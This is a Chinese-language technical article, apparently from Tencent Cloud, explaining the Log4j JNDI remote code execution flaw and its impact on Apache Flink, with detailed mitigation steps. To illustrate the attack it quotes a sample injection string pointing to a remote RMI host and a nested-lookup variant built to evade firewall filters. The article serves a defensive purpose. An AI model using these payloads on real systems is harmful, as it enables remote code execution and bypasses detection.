Log4j 远程代码执行漏洞对 Flink 的影响和修复方案
当 RMI 请求发器时,JVM 会和远端服务器通讯。如果 JVM 发现当前的 classpath 中并不存在远端服务器提到的类定义,那么就会通过给定的远程 URL 下载这个类的字节码定义并执行。这就给了攻击者可乘之机:通过恶意构造相关的类,即可执行任意想要的方法。从当初的设计思路上看,这无可厚非,本身 RMI 假设是安全可信的环境下执行,就像当初 HTTP、FTP 等协议设计的一样。但是实际使用时,开发者可能无意间将外部用户输入的地址传入,此时就会引起问题。
LDAP(Lightweight Directory Access Protocol)也是一个通用的目录访问协议,在各大公司的内网系统都有应用。Java 程序也可以通过 LDAP 获取远程的对象,反序列化并执行代码逻辑,因此也是一个常见的攻击点。
JNDI (Java Naming and Directory Interface) 是 Java 提供的一系列通用的接口服务封装,用户可以通过 JNDI 来访问不同协议下的多种资源。JNDI 支持上述提到的 RMI、LDAP 等协议,也支持其他的例如 CORBA、DNS 等其他协议。本次 Log4j 的漏洞,就是通过构造恶意的 JNDI 连接字符串,以启用 RMI 或 LDAP 连接,最终实现远程代码执行(RCE)。关于 JNDI 注入的相关知识,可以阅读这篇文章。
由于 RMI 和 LDAP 远程执行代码的方式过于灵活,时常成为被攻击的对象,因此在较高版本的 JDK 中,默认情况下已经做了禁用,很多防火墙也可以检测到相关的字符串。但是并不代表可以高枕无忧,黑客还是很多手段来绕过。
漏洞成因
Log4j 2.x 作为一个广为使用的日志库,为了满足各类用户的不同需求,大家会持续不断地给他贡献新的功能。在 2013 年的时候,有个用户在 LOG4J2-313 这个 JIRA 需求单里提到,自己希望 Log4j 能够提供 JNDI Lookup 功能,以支持一些场景化功能:例如通过查询远程服务器,把来自不同应用的日志写到他们各自的日志文件中。于是社区在 2.0-beta9 版本之后实现了这个功能,也是本次漏洞影响的最早版本。
单纯支持 JNDI 查询的话,问题还不至于这么严重。关键在于 Log4j 还提供了运行时动态的变量查找(Message Lookup Substitution)功能,允许在模板和日志中,写入特定的变量值,动态地填充日志内容。例如输入* ${java.version}* ,就可以打印出当前的 Java 版本;此外还支持日期、上下文、Docker、环境变量等多种变量类型,包括上述提到的 JNDI Lookup。
那问题来了:如果用户数据中包含 JNDI + RMI 或 JNDI + LDAP 调用,例如
${jndi:rmi://example.org/malicious_rmi_server}
就会让 Log4j 尝试连接到这个地址,并执行给定的远程代码。这也是本次漏洞危害巨大的原因:Log4J 2.x 版本应用非常广泛,利用起来非常容易,因此很多知名网站都受到了影响。具体的漏洞代码分析可以参考这篇文章。
还有一个次要因素可以让漏洞的检测更困难 :由于 Log4j 的变量查找功能支持嵌套,因此攻击者可以构造例如 * {jnd {::- {::-}}i:lda {::-${::-}}p://xxxx}* 等字符串,来逃避防火墙的关键词过滤。
Flink 1.11 及之后的版本默认采用 Log4j 2.x 版本作为默认的日志组件,因此这个版本之后的 Flink 都有可能受到影响,尤其是在报错时,Flink 可能把用户恶意构造的数据打印在报错信息,此时就会导致问题触发。ZooKeeper 等组件默认使用的是 Log4j 1.x 版本,因此不受本次漏洞的威胁。
修复方式
经过深入分析,目前有多种修复该漏洞的方法,建议配合使用,以避免单个方法被绕过导致修复失败的风险。
不修改 Log4j JAR 包的修复方法
对于线上的 Log4j JAR 包不能轻易改动的情况(例如镜像不易改,或者是用户自己上传的 JAR 不能改等),如果 Log4J 版本高于 2.10,可以给 JVM 的启动参数增加* -Dlog4j2.formatMsgNoLookups=true * 以禁用变量查找和格式化功能。具体对于 Flink 而言,则是修改* flink-conf.yaml * 文件,找到并修改* env.java.opts* 配置项(如果没有则新增一行),例如:
env.java.opts: -Dlog4j2.formatMsgNoLookups=true
如果在容器环境下,通过配置环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS=true ,也可以达到同样的目的。
若 Log4j 版本小于 2.10,如果大于 2.7,则可以修改 log4j.properties 配置文件的模板,将 %m 改为 %m{nolookups}
对于 JVM 而言,如果您使用的 JDK 版本小于 8u121,则需要将 com.sun.jndi.rmi.object.trustURLCodebase 、com.sun.jndi.ldap.object.trustURLCodebase 、com.sun.jndi.cosnaming.object.trustURLCodebase 三个选项设置为 false。如果版本高于 8u121,则默认已经禁用。我们强烈建议升级到最新的 JDK 版本。
此外,https://github.com/nccgroup/log4j-jndi-be-gone 这个项目还提供了通过运行时动态 hook 相关方法调用的方式,屏蔽掉 JndiLookup 相关的代码,可以作为上述防御手段被绕过(例如用户自己上传了超低版本的 Log4j 2.x 代码)的兜底手段。
修改 Log4j JAR 包的修复方法
首先在能升级 Log4j 版本的情况下,我们强烈建议您将版本升级到 2.17.0(正式版,之前的 2.15.0、2.16.0 等版本仍然可能受到部分影响,参见 CVE-2021-45046)及更高版本。
如果因为某些原因必须使用旧版的 Log4j,可以解压 log4j-core 的 JAR 包,移除 *org/apache/logging/log4j/core/lookup/JndiLookup.class * 这个类,随后重新打包。
特别需要注意的是,升级和重新打包 Log4j 只能保证您的 Flink 集群本身不受这个漏洞的影响,但不能保证上传给 Flink 的用户 JAR 包里也不含旧版本代码。因此请配合其他修复手段一起使用。
此外,Flink 社区目前也在讨论发布一个紧急更新来修复该问题(通过更新 Log4j 的版本)。如果您使用的是腾讯云 Oceanus 流计算产品,我们已经对该漏洞进行了修复;如果您是自建的 Flink 集群,如果您已经按照本文的方法进行了操作,那么也可以避免该问题被黑客利用。